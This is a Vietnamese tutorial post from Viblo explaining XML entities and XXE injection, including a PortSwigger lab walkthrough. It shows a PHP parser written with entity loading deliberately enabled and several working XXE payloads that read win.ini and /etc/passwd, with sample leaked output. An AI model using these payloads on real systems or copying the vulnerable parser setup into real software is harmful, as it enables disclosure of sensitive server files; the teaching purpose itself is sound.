+1

XXE injection vulnerabilities - Lỗ hổng XML (Phần 1)

I. Đặt vấn đề

1. Các khái niệm cơ bản

a. XML là gì?

image.png

XML là viết tắt của eXtensible Markup Language. Khá giống với ngôn ngữ HTML, chúng ta có thể hiểu XML là một dạng ngôn ngữ đánh dấu, được tổ chức W3C phát triển với mục đích lưu trữ và vận chuyển dữ liệu.

Tuy nhiên, chúng ta cũng cần phân biệt giữa hai ngôn ngữ HTMLXML, với các tiêu chí chủ yếu sau:

Tiêu chí XML HTML
Mục đích XML thường được sử dụng để lưu trữ và vận chuyển dữ liệu (carry data) HTML thường được sử dụng để trình bày dữ liệu (display data)
Định hướng Định hướng theo nội dung Định hướng theo định dạng
Thẻ Không được xác định trước, có thể mở rộng Được xác định trước (predefined), tính mở rộng hạn chế

Chúng ta cùng xét một ví dụ về ngôn ngữ XML:

<?xml version="1.0" encoding="UTF-8"?>
<student>
    <name>John</name>
    <age>20</age>
    <email>john-viblo@gmail.com</email>
</student>

b. Khái niệm entity

Entity (thực thể) là các biến được sử dụng để định nghĩa shortcuts các ký tự hoặc đoạn ký tự đặc biệt. Một entity có cấu trúc gồm 33 phần: Ký tự "và" (&), tên entity, ký tự "chấm phẩy" (;). Chúng được khai báo trong DTD (Document Type Definition).

Entity có thể được khai báo bằng hai dạng:

  • Internal Entity (thực thể bên trong)

Các entities được khai báo và sử dụng trong cùng một file, cú pháp <!ENTITY entity-name "entity-value"> Ví dụ:

// DTD Example:

<!ENTITY name "John">
<!ENTITY age "20">

// XML example:

<info>Name: &name; Age: &age;</info>
  • External Entity (thực thể bên ngoài)

Các entities được khai báo ở địa chỉ khác, khi sử dụng hệ thống sẽ truy xuất tới các địa chỉ đó để lấy dữ liệu entities, cú pháp <!ENTITY entity-name SYSTEM "URI/URL">

// DTD Example:

<!ENTITY name SYSTEM "https://example.com/entities.dtd">
<!ENTITY age SYSTEM "https://example.com/entities.dtd">

// XML example:

<info>Name: &name; Age: &age;</info>

2. Giới thiệu lỗ hổng XML external entity (XXE) injection

Ngôn ngữ XML giúp truyền tải và mô tả các loại dữ liệu thuộc nhiều ngôn ngữ lập trình khác nhau, giúp việc chia sẻ các dữ liệu giữa nhiều nền tảng cũng như hệ thống qua Internet trở nên cực kỳ đơn giản. Tuy nhiên, sự bất cẩn khi các nhà phát triển lựa chọn sử dụng ngôn ngữ XML có thể dẫn tới lỗ hổng XML external entity injection, hay thường được biết đến với tên XXE injection.

image.png (nguồn hình ảnh: https://portswigger.net)

Khi một trang web sử dụng ngôn ngữ XML xử lý dữ liệu mà kẻ tấn công có thể can thiệp vào quá trình này sẽ dẫn tới lỗ hổng XXE injection. Lỗ hổng thường cho phép kẻ tấn công có thể truy xuất nội dung các tệp nhạy cảm trong hệ thống, dẫn đến lộ lọt thông tin trở thành cơ sở cho các phương thức tấn công khác.

Lỗ hổng XXE injection khi đã xảy ra thường mang lại hậu quả khó lường và luôn được đánh giá ở mức độ nghiêm trọng. Vào năm 20172017 dạng lỗ hổng này được xếp ở vị trí số 44 theo Top 1010 lỗ hổng bảo mật web của OWASP: A4:2017-XML External Entities (XXE). Tới năm 20212021, nó được xếp chung vào nhóm lỗ hổng A05:2021-Security Misconfiguration ở vị trí thứ 55.

image.png

II. Phân tích và khai thác các lỗ hổng XXE injection

1. Khai thác lỗ hổng XXE injection nhằm truy xuất các tệp nhạy cảm.

Kiểu tấn công này thường xảy ra khi trang web khai báo và định nghĩa các external entities chứa nội dung các file và chúng được hiển thị trong giao diện hay response tới người dùng.

Xem xét đoạn code PHP sau:

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom -> loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info -> name;

$result = sprintf("<result><msg>Hello %s!</msg></result>", $name);

echo $result;

?>

Biến $xmlfile lưu dữ liệu XML, sau đó được đọc và phân tích cú pháp qua biến $dom. Lấy ra trường name và in giá trị này trong dòng thông báo ra màn hình.

Ở đây chúng ta sẽ truyền dữ liệu qua phương thức POST bằng ngôn ngữ XML, chú ý cần có thẻ <name>:

<foo>
    <name>
        Viblo
    </name>
</foo>

Kết quả như sau:

image.png

Chúng ta có thể tự khai báo giá trị các biến trong dữ liệu XML và trang web sẽ xử lý chúng bình thường:

image.png

Do đoạn code trên không có bất kỳ cơ chế phòng ngừa dành cho tấn công XXE nên chúng ta có thể xây dựng entity &xxe; với giá trị là nội dung của tệp tin bất kỳ qua wrapper file://. Ở đây server được dựng trong Windows nên tôi sẽ thử truy xuất nội dung file C:/Windows/win.ini. Payload như sau:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]>
<foo>
    <name>
        &xxe;
    </name>
</foo>

Kết quả trả về nội dung tệp C:/Windows/win.ini trong response:

image.png

image.png

Bằng cách tấn công như trên chúng ta có thể truy xuất nội dung file bất kỳ trong hệ thống!

Cùng xem xét một ví dụ khác, giả sử một trang web mua sắm cho phép người dùng kiểm tra lượng hàng còn lại trong kho bằng cách gửi dữ liệu XML sau tới hệ thống:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>381</productId>
</stockCheck>

Tương tự như ví dụ trên, chúng ta có thể xây dựng payload bằng cách tự định nghĩa entity &xxe; với giá trị là nội dung tệp /etc/passwd. Sau đó hiển thị giá trị này trong thẻ <productId>.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Tại response trả về error cùng với nội dung tệp /etc/passwd:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Phân tích lab Exploiting XXE using external entities to retrieve files

Miêu tả: Trang web chứa chức năng Check stock, trong đó quá trình phân tích dữ liệu XML không chứa cơ chế ngăn chặn lỗ hổng XXE injection có thể dẫn đến trả về các dữ liệu không mong muốn trong response. Để hoàn thành bài lab, chúng ta cần khai thác lỗ hổng XXE injection từ đó truy xuất nội dung file /etc/passwd.

Sử dụng chức năng Check stock và quan sát request trong Burp Suite:

image.png

Trang web sử dụng ngôn ngữ XML gửi yêu cầu check stock với các thẻ <productId><storeId>. Hệ thống thực hiện phân tích dữ liệu XML và trả về kết quả số lượng sản phẩm còn lại trong response.

Chúng ta có thể tự định nghĩa một entity với giá trị bất kỳ:

image.png

Từ đó, định nghĩa một external entity &xxe; với giá trị là nội dung tệp /etc/passwd qua wrapper file://, payload như sau:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId
</stockCheck>

image.png

Response hiển thị nội dung tệp /etc/passwd thông qua entity &xxe;. Bài lab hoàn thành.

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí